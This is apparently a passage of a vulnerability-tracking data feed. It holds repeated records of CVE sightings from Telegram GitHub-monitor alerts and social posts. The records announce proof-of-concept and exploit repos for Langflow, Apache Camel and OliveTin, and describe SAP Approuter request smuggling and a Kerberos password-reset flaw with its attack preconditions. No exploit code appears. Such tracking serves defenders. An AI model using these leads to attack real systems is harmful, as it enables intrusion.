\u9879\u76ee\u63cf\u8ff0\uff1a\nProof-of-concept exploit and lab environment for CVE-2026-27495\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:07.660373Z"}, {"uuid": "0b2b6756-39de-4596-ad79-bb1c35e73c39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://t.me/GithubRedTeam/92089", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27966\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-05 20:18:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE scanner for Langflow < 1.8.0 \u2014 Route Injection + Vertex Injection \u2192 Code Execution (CVSS 9.8)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:12.188755Z"}, {"uuid": "b1d54aaf-5586-43af-82c3-17977ec7cd57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27172", "type": "seen", "source": "https://t.me/GithubRedTeam/92169", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27172\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a oscerd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Java\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 10:17:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nReproducer for CVE-2026-27172: Apache Camel camel-consul ConsulRegistry Java deserialization (RCE)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:11.543307Z"}, {"uuid": "bc0c8211-84d4-4df2-ba44-283d2ee5b8dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://t.me/GithubRedTeam/92027", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cve-2026-27944-Tools-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BimaBalance\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-05 11:05:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSuka suka lah\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:12.271573Z"}, {"uuid": "2bd6f3c0-39ba-4738-98ad-fe03b1bed74e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27626", "type": "seen", "source": "https://t.me/GithubRedTeam/91247", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27626-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xh7ml\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-30 06:46:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nOliveTin is a self-hosted web UI for exposing predefined shell commands to end users. This repository contains a proof-of-concept demonstrating two independent OS command injection vectors in OliveTin's Shell mode execution path, both of which bypass the application's intended shell-argument safety checks.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:16.690035Z"}, {"uuid": "3385e7c4-50e5-49db-8a33-29373ad683a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27626", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92877", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27626-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Cobrastrike62\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-10 18:25:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:07.764353Z"}, {"uuid": "278ded95-81a2-40c0-bda7-f9344cfe6f8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27495", "type": "seen", "source": "https://t.me/GithubRedTeam/92529", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27495\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a DexSemon\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-08 14:59:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof-of-concept exploit and lab environment for CVE-2026-27495\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:17.961124Z"}, {"uuid": "6237cbf4-9e51-4e49-a8f0-31a9257a6f2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27172", "type": "seen", "source": "https://t.me/GithubRedTeam/92169", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27172\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a oscerd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Java\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 10:17:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nReproducer for CVE-2026-27172: Apache Camel camel-consul ConsulRegistry Java deserialization (RCE)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:19.920903Z"}, {"uuid": "6f4dbad4-deac-41fd-b1c9-813025c44e81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://t.me/GithubRedTeam/92027", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cve-2026-27944-Tools-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BimaBalance\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-05 11:05:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSuka suka lah\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:20.480495Z"}, {"uuid": "9d0aa9a2-a7ce-4742-a2d2-b06474ec8cd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "seen", "source": "https://t.me/GithubRedTeam/92089", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27966\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-05 20:18:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE scanner for Langflow < 1.8.0 \u2014 Route Injection + Vertex Injection \u2192 Code Execution (CVSS 9.8)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:20.394476Z"}, {"uuid": "e8029c05-2e96-4e5e-9b05-cf5d81449532", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27626", "type": "seen", "source": "https://t.me/GithubRedTeam/91247", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27626-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xh7ml\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-30 06:46:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nOliveTin is a self-hosted web UI for exposing predefined shell commands to end users. This repository contains a proof-of-concept demonstrating two independent OS command injection vectors in OliveTin's Shell mode execution path, both of which bypass the application's intended shell-argument safety checks.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:33.261701Z"}, {"uuid": "88011d0a-405f-4e76-9e3d-97cc060b6fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27690", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqkymet66f2b", "content": "CVE-2026-27690 - sap approuter\nAn attacker can send a special request to SAP Approuter, potentially exposing user responses and making the system unavailable. This is a serious issue because it affects\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#sapapprouter #sapse #CVE #infosec", "creation_timestamp": "2026-07-14T00:54:07.134760Z"}, {"uuid": "762a1ead-fcb8-43ce-b6de-8e2eb5bde764", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27172", "type": "seen", "source": "https://t.me/bdufstecru/3295", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0442\u043e\u0434\u0430 ConsulRegistryUtils.deserialize \u043a\u043b\u0430\u0441\u0441\u0430 ConsulRegistry java-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 Apache Camel \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\nBDU:2026-09300\nCVE-2026-27172\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://camel.apache.org/security/CVE-2026-27172.html", "creation_timestamp": "2026-07-14T01:00:04.418681Z"}, {"uuid": "3744940e-934d-489e-bdb1-15067bd813ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27690", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mql3r2jehe26", "content": "CVE-2026-27690 - HTTP Request Smuggling in SAP Approuter\nCVE ID : CVE-2026-27690\n \n Published : July 14, 2026, 1:16 a.m. | 14\u00a0minutes ago\n \n Description : Due to an HTTP Request Smuggling vulnerability in SAP Approuter, an unauthenticated attacker could send a specially crafte...", "creation_timestamp": "2026-07-14T01:50:22.725463Z"}, {"uuid": "96eef161-0088-4b78-8ddf-59233cb5646f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27690", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mql7p4eot62k", "content": "\ud83d\udd34 CVE-2026-27690 - Critical (9.1)\n\nDue to an HTTP Request Smuggling vulnerability in SAP Approuter, an unauthenticated attacker coul...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-27690/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-14T03:00:52.862961Z"}, {"uuid": "bc4aebb1-a8eb-46b5-a609-33dcd4d6eafb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27690", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116916448461094889", "content": "CVE-2026-27690: CRITICAL HTTP request smuggling flaw in SAP Approuter (CVSS 9.1). Remote attackers can cause desynchronization, exposing user responses & disrupting availability. No patch yet \u2014 monitor SAP advisories. https://radar.offseq.com/threat/cve-2026-27690-cwe-444-inconsistent-interpretation-e97c5da3a5e809c5 #OffSeq #SAP #InfoSec", "creation_timestamp": "2026-07-14T04:30:25.758605Z"}, {"uuid": "bf472dfa-623c-4c7d-8ca3-9bad64449c47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27690", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mqlepceb3g2f", "content": "CVE-2026-27690: SAP Approuter faces CRITICAL HTTP request smuggling (CVSS 9.1). Unauthenticated attackers can expose user data & disrupt services. No patch \u2014 monitor SAP for updates. https://radar.offseq.com/threat/cve-2026-27690-cwe-444-inconsistent-interpretation-e97c5da3a5e809c5 #OffSeq #SAP #...", "creation_timestamp": "2026-07-14T04:30:30.982493Z"}, {"uuid": "b30c3614-f9cb-44f8-9a31-e7dbe7dcddd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27690", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mqlgjvxlep22", "content": "Daily IT Security Digest \u2014 2026-07-14\n# Daily IT Security Digest \u2014 2026-07-14\n\n## 1. CRITICAL \u2014 SAP Approuter HTTP Request Smuggling (CVE-2026-27690, CVSS 9.1)\nA critical HTTP request smuggling flaw was disclosed in SAP Approuter, scored 9.1 on the CVSS v3.1 scale. Remote attackers can exploit the", "creation_timestamp": "2026-07-14T05:03:14.144599Z"}, {"uuid": "4fa38082-4a52-474b-b970-cbb25b2791e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27690", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mqlgjwjtly2o", "content": "Daily IT Security Digest \u2014 2026-07-14\nconfigurations as a mitigation.\nSources: https://infosec.exchange/@offseq/116916448461094889 \u00b7 https://radar.offseq.com/threat/cve-2026-27690\n\n## 2. CRITICAL \u2014 Chrome 150 Patches 27 Vulnerabilities Including 2 Use-After-Free Bugs\nGoogle Chrome 150 addresses 27", "creation_timestamp": "2026-07-14T05:03:14.627990Z"}, {"uuid": "aedbe625-2ee8-482e-b242-26a3e2d4b407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27690", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116918218287332576", "content": "SAP July 2026 patch day delivers CRITICAL fixes: NetWeaver (CVE-2026-44747, memory corruption), Approuter (CVE-2026-27690, HTTP smuggling), Commerce Cloud (CVE-2026-44761, hardcoded creds). Patch ASAP. https://radar.offseq.com/threat/sap-patches-critical-vulnerabilities-in-netweaver--aa75f703df9065e4 #OffSeq #SAP #Vuln #PatchTuesday", "creation_timestamp": "2026-07-14T12:00:31.386680Z"}, {"uuid": "44e093cc-b138-4685-b900-f73a62711caf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "https://t.me/P0x3k_1N73LL1G3NC3/403", "content": "ResetNightmare\n\nResetNightmare (CVE-2026-27912) is a validation flaw in the Kerberos Change Password protocol that allows for resetting the password of any target user/computer account, without knowing the current one. The attack requires an unpatched domain controller, and the ability to write a userPrincipalName (UPN) on any account you control. Alternatively, the vulnerability can also be abused by an attacker having the ability to create new users/computers in any OU, as creating a user/computer allows you to get GenericWrite permissions over it.\n\nBlog: Identity Crisis: Novel Vulnerabilities Leading to Kerberos Downgrade, DoS, and Full Domain Takeover", "creation_timestamp": "2026-08-07T12:00:04.917469Z"}, {"uuid": "2d37c9e1-b44a-4a01-a260-ad2d636631b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27690", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mqn45xkzmd26", "content": "\ud83e\udde9 SAP warns of critical flaws in NetWeaver & Commerce Cloud (incl. CVE-2026-27690 in BTP) \u2014 unauthenticated HTTP requests can leak data & trigger DoS. Apply SAP notes now.\n\n\ud83d\udd17 https://www.bleepingcomputer.com/news/security/sap-warns-of-critical-flaws-in-netweaver-and-commerce-cloud/", "creation_timestamp": "2026-07-14T21:02:55.014595Z"}, {"uuid": "5a8b0c73-9090-45ae-9bef-c27ae84123af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27690", "type": "seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mqn4bus4py2s", "content": "\ud83e\udde9 SAP warns of critical flaws in NetWeaver & Commerce Cloud (incl. CVE-2026-27690 in BTP) \u2014 unauthenticated HTTP requests can leak data & trigger DoS. Apply SAP notes now.\n\n\ud83d\udd17 https://www.bleepingcomputer.com/news/security/sap-warns-of-critical-flaws-in-netweaver-and-commerce-cloud/", "creation_timestamp": "2026-07-14T21:05:06.472746Z"}, {"uuid": "20abe6a2-7932-4f87-8025-018cc1389b75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92027", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Cve-2026-27944-Tools-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BimaBalance\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-05 11:05:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSuka suka lah\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:29.755325Z"}, {"uuid": "813431ad-482b-4b31-a24b-ca96a3e856d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27966", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92089", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27966\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-05 20:18:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE scanner for Langflow < 1.8.0 \u2014 Route Injection + Vertex Injection \u2192 Code Execution (CVSS 9.8)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:29.852007Z"}, {"uuid": "26049d46-e927-41fc-812a-bc14fcfa27dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27626", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91247", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27626-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xh7ml\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-30 06:46:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nOliveTin is a self-hosted web UI for exposing predefined shell commands to end users. This repository contains a proof-of-concept demonstrating two independent OS command injection vectors in OliveTin's Shell mode execution path, both of which bypass the application's intended shell-argument safety checks.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:24.530349Z"}, {"uuid": "fccf47d3-0098-4e21-bea2-97fcdc56dc9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27172", "type": "seen", "source": "https://t.me/bdufstecru/3295", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0442\u043e\u0434\u0430 ConsulRegistryUtils.deserialize \u043a\u043b\u0430\u0441\u0441\u0430 ConsulRegistry java-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 Apache Camel \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\nBDU:2026-09300\nCVE-2026-27172\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://camel.apache.org/security/CVE-2026-27172.html", "creation_timestamp": 